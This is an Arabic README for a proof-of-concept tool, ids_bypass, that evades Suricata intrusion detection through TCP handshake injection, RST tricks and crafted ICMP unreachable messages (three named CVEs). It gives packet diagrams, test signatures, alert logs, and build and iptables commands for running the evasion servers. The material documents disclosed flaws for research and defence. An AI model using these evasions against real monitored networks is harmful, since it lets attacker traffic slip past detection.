إخلاء المسؤولية

هذه البرامج لأغراض تعليمية فقط. لا تستخدمها دون إذن.

inject_server: إثبات المفهوم لـ CVE-2018-6794.

إذا قمت، كخادم، بتعطيل ترتيب حزم المصافحة الثلاثية TCP العادية وقمت بحقن بعض بيانات الاستجابة قبل اكتمال المصافحة، فستظل البيانات واردة من قبل العميل، لكن بعض محركات IDS قد تتجاوز فحص المحتوى على ذلك.

Client    ->  [SYN] [Seq=0 Ack=0]           ->  Evil Server     # Client starts a TCP 3-way handshake
Client    <-  [SYN, ACK] [Seq=0 Ack=1]      <-  Evil Server     # Server responses as it should, but ...
Client    <-  [PSH, ACK] [Seq=1 Ack=1]      <-  Evil Server     # It sends HTTP response before the 3whs is completed
Client    <-  [FIN, ACK] [Seq=83 Ack=1]     <-  Evil Server     # Moreover it finishes TCP session 
Client    ->  [ACK] [Seq=1 Ack=84]          ->  Evil Server     # Client finishes TCP 3whs by sending ACK packet and confirms data from server
Client    ->  [PSH, ACK] [Seq=1 Ack= 4]     ->  Evil Server     # Then it sends a HTTP GET request as nothing wrong happened

Suricata IDS < 4.0.4 عرضة لهذه المشكلة: توقيعات HTTP أو Stream-TCP لن تصدر تنبيهًا بشأن المحتوى المحقون. لا نرى أي تنبيهات على بيانات استجابة HTTP خبيثة إذا طبقنا التوقيعات التالية على حركة مرور الشبكة الخاصة بـ PoC

alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )

03/02/2018-11:08:13.012990  [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:56581
03/02/2018-11:08:13.013610  [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914  [**] [1:5:0] TCP GET ONLY_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80
03/02/2018-11:08:13.018914  [**] [1:6:0] HTTP GET RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:56581 -> 192.168.235.101:80

rst_server: إثبات المفهوم لـ CVE-2018-14568.

عملاء Windows قادرون على معالجة بيانات TCP حتى لو وصلت بعد فترة قصيرة من حزمة TCP RST. بعض أنظمة IDS تعالج هذا بشكل صحيح وتحاول مطابقة البيانات بعد RST، لكن البعض الآخر يتوقف عن فحص تدفق TCP بعد استلام RST.

Client    ->  [SYN] [Seq=0 Ack=0]           ->  Evil Server     # Client starts a TCP 3-way handshake
Client    <-  [RST, ACK] [Seq=0x0 Ack=1]    <-  Evil Server     # Server responses with TCP RST
Client    <-  [SYN, ACK] [Seq=1 Ack=1]      <-  Evil Server     # And SYN-ACK shortly after RST
           ... 3whs continues ...

Suricata IDS لا يزال عرضة لهذه المشكلة: توقيعات HTTP أو Stream-TCP لن تصدر تنبيهًا بشأن جلسة TCP هذه.

alert tcp any any -> any any (msg: "TCP BEEN NO_STREAM RULE"; flow: no_stream; content: "been"; sid: 1; )
alert tcp any any -> any any (msg: "TCP BEEN ONLY_STREAM RULE"; flow: only_stream; content: "been"; sid: 2; )
alert http any any -> any any (msg: "HTTP BEEN RULE"; content: "been"; sid: 3; )
alert tcp any any -> any any (msg: "TCP GET NO_STREAM RULE"; flow: no_stream; content: "GET"; sid: 4; )
alert tcp any any -> any any (msg: "TCP GET ONLY_STREAM RULE"; flow: only_stream; content: "GET"; sid: 5; )
alert http any any -> any any (msg: "HTTP GET RULE"; content: "GET"; sid: 6; )

05/03/2018-19:13:43.270632  [**] [1:4:0] TCP GET NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.1:53434 -> 192.168.235.101:80
05/03/2018-19:13:43.471128  [**] [1:1:0] TCP BEEN NO_STREAM RULE [**] [Classification: (null)] [Priority: 3] {TCP} 192.168.235.101:80 -> 192.168.235.1:53434

icmp_server: إثبات المفهوم لـ CVE-2016-10728.

يجب على الخادم الرد برسالة ICMP من نوع "Destination Unreachable" ورمز "Port Unreachable" إذا تم إرسال حزمة UDP إلى منفذ UDP مغلق. قد يفسر IDS إجابات ICMP Unreachable بنفس طريقة حزم TCP RST ويتوقف أو يحد من فحص حركة مرور تدفق UDP هذا. إذا تبع رسالة ICMP إجابة UDP عادية، فإن المهاجم يتجاوز فحوصات UDP لحركة المرور القادمة من خادمه. لاحظ أن العملاء العاديين يغلقون الاتصالات إذا تلقوا ICMP Dest. Unreachable، لذلك نقوم بتبديل عناوين IP ومنافذ UDP في UDP المرفق برسالة ICMP حتى لا يقبل العميل رسالة ICMP هذه، لكن IDS يفعل.

Client    ->  [UDP Req]                  ->  Evil Server     # Client starts UDP session by sending a packet 
Client    <-  [ICMP] [Type=3, Code=3]    <-  Evil Server     # Server responses with *improved* ICMP Destination Unreachable first
Client    <-  [UDP Resp]                 <-  Evil Server     # And with UDP answer as usual

Suricata IDS < 3.1.2 عرضة لهذه المشكلة: توقيعات UDP لن تتطابق مع الحزم القادمة من الخادم الخبيث.

alert udp any any -> any any (msg: "UDP BEEN RULE"; content: "been"; sid: 1; )
alert udp any any -> any any (msg: "UDP HELLO RULE"; content: "hello"; sid: 2; )

05/03/2018-03:44:11.016635  [**] [1:2:0] UDP HELLO RULE [**] [Classification: (null)] [Priority: 3] {UDP} 192.168.235.100:46599 -> 192.168.235.101:80

يمكن تطبيق هذه التقنيات على أدوات وأنظمة كشف التسلل أو مراقبة الشبكة الأخرى.

المؤلف والإشادات

كيريل شيبولين من Positive Technologies (@kirill_wow) شرائح محادثتي في Hackfest 2018 متاحة

الاستخدام

git clone https://github.com/kirillwow/ids_bypass.git
cd ids_bypass
make
# inject server
sudo iptables -A OUTPUT -p tcp --sport 80 --tcp-flags RST RST -j DROP
sudo ./inject_server # print help
sudo ./inject_server -i eno16777736 -p 80
# rst server
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 -m owner --uid-owner 0 --tcp-flags RST RST -j ACCEPT
sudo iptables -A OUTPUT -p tcp -o eno16777736 --sport 80 --tcp-flags RST RST -j DROP
sudo ./rst_server # print help
sudo ./rst_server -i eno16777736 -p 80
# icmp server
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -m owner --uid-owner 0 -j ACCEPT
sudo iptables -A OUTPUT -o eno16777736 -p icmp --icmp-type destination-unreachable -j DROP
sudo ./icmp_server # print help
sudo ./icmp_server -i eno16777736 -p 80

alt PoC

ids_bypass